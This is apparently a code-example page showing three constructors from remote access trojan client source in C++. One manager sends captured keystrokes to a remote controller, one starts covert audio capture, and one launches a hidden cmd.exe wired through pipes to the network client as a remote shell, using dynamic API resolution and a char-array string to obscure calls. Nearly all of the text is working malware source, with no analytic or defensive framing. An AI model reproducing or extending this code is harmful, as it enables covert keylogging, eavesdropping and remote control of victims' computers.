CKeyboardManager::CKeyboardManager(CClientSocket *pClient) : CManager(pClient)
{
	g_bSignalHook = TRUE;
	Sleep(1000);

	sendStartKeyBoard();
	WaitForDialogOpen();
	sendOfflineRecord();
	
// 	DWORD	dwOffset = m_pTShared->dwOffset;
// 
// 	while (m_pClient->IsRunning())
// 	{
// 		if (m_pTShared->dwOffset != dwOffset)
// 		{
// 			UINT nSize = 0;
// 			if (m_pTShared->dwOffset < dwOffset)
// 				nSize = m_pTShared->dwOffset;
// 			else
// 				nSize = m_pTShared->dwOffset - dwOffset;
// 			
// 			sendKeyBoardData((unsigned char *)&(m_pTShared->chKeyBoard[dwOffset]), nSize);
// 			
// 			dwOffset = m_pTShared->dwOffset;
// 		}
// 		Sleep(300);
// 	}
// 	//OutputDebugStringA("ssss");
// 
// 	if (!m_pTShared->bIsOffline)
// 		g_bSignalHook = FALSE;
}
Пример #2
0
CAudioManager::CAudioManager(CClientSocket *pClient) : CManager(pClient)
{
	if (!Initialize())
		return;

	BYTE	bToken = TOKEN_AUDIO_START;
	Send(&bToken, 1);
	// Wait for remote dialog open and init
	WaitForDialogOpen();

	m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);

}
Пример #3
0
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{
	typedef BOOL (WINAPI *CloseHandleT)
		(
		__in HANDLE hObject
		);
	char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm);

	typedef UINT (WINAPI *GetSystemDirectoryAT)
		(
		__out_ecount_part_opt(uSize, return + 1) LPSTR lpBuffer,
		__in UINT uSize
		);
	GetSystemDirectoryAT pGetSystemDirectoryA = (GetSystemDirectoryAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetSystemDirectoryA");

	typedef BOOL (WINAPI *CreatePipeT)
		(
		__out_ecount_full(1) PHANDLE hReadPipe,
		__out_ecount_full(1) PHANDLE hWritePipe,
		__in_opt LPSECURITY_ATTRIBUTES lpPipeAttributes,
		__in     DWORD nSize
		);
	CreatePipeT pCreatePipe = (CreatePipeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreatePipe");

	typedef  VOID  (WINAPI *GetStartupInfoAT)
		(
		__out LPSTARTUPINFOA lpStartupInfo
		);
	GetStartupInfoAT pGetStartupInfoA = (GetStartupInfoAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetStartupInfoA");

	typedef BOOL (WINAPI *CreateProcessAT)
		(
		__in_opt    LPCSTR lpApplicationName,
		__inout_opt LPSTR lpCommandLine,
		__in_opt    LPSECURITY_ATTRIBUTES lpProcessAttributes,
		__in_opt    LPSECURITY_ATTRIBUTES lpThreadAttributes,
		__in        BOOL bInheritHandles,
		__in        DWORD dwCreationFlags,
		__in_opt    LPVOID lpEnvironment,
		__in_opt    LPCSTR lpCurrentDirectory,
		__in        LPSTARTUPINFOA lpStartupInfo,
		__out       LPPROCESS_INFORMATION lpProcessInformation
		);
	CreateProcessAT pCreateProcessA = (CreateProcessAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateProcessA");

    SECURITY_ATTRIBUTES  sa = {0};  
	STARTUPINFO          si = {0};
	PROCESS_INFORMATION  pi = {0}; 
	char  strShellPath[MAX_PATH] = {0};

    m_hReadPipeHandle	= NULL;
    m_hWritePipeHandle	= NULL;
	m_hReadPipeShell	= NULL;
    m_hWritePipeShell	= NULL;
    sa.nLength = sizeof(sa);
    sa.lpSecurityDescriptor = NULL; 
    sa.bInheritHandle = TRUE;

	
    if(!pCreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
	{
		if(m_hReadPipeHandle != NULL)	pCloseHandle(m_hReadPipeHandle);
		if(m_hWritePipeShell != NULL)	pCloseHandle(m_hWritePipeShell);
		return;
    }

    if(!pCreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) 
	{
		if(m_hWritePipeHandle != NULL)	pCloseHandle(m_hWritePipeHandle);
		if(m_hReadPipeShell != NULL)	pCloseHandle(m_hReadPipeShell);
		return;
    }

	memset((void *)&si, 0, sizeof(si));
    memset((void *)&pi, 0, sizeof(pi));

	pGetStartupInfoA(&si);
	si.cb = sizeof(STARTUPINFO);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdInput  = m_hReadPipeShell;
    si.hStdOutput = si.hStdError = m_hWritePipeShell; 

	pGetSystemDirectoryA(strShellPath, MAX_PATH);
	strcat(strShellPath,"\\cmd.exe");

	if (!pCreateProcessA(strShellPath, NULL, NULL, NULL, TRUE, 
		NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) 
	{
		pCloseHandle(m_hReadPipeHandle);
		pCloseHandle(m_hWritePipeHandle);
		pCloseHandle(m_hReadPipeShell);
		pCloseHandle(m_hWritePipeShell);
		return;
    }
	m_hProcessHandle = pi.hProcess;
	m_hThreadHandle	= pi.hThread;

	BYTE	bToken = TOKEN_SHELL_START;
	Send((LPBYTE)&bToken, 1);
	WaitForDialogOpen();
	m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
	m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}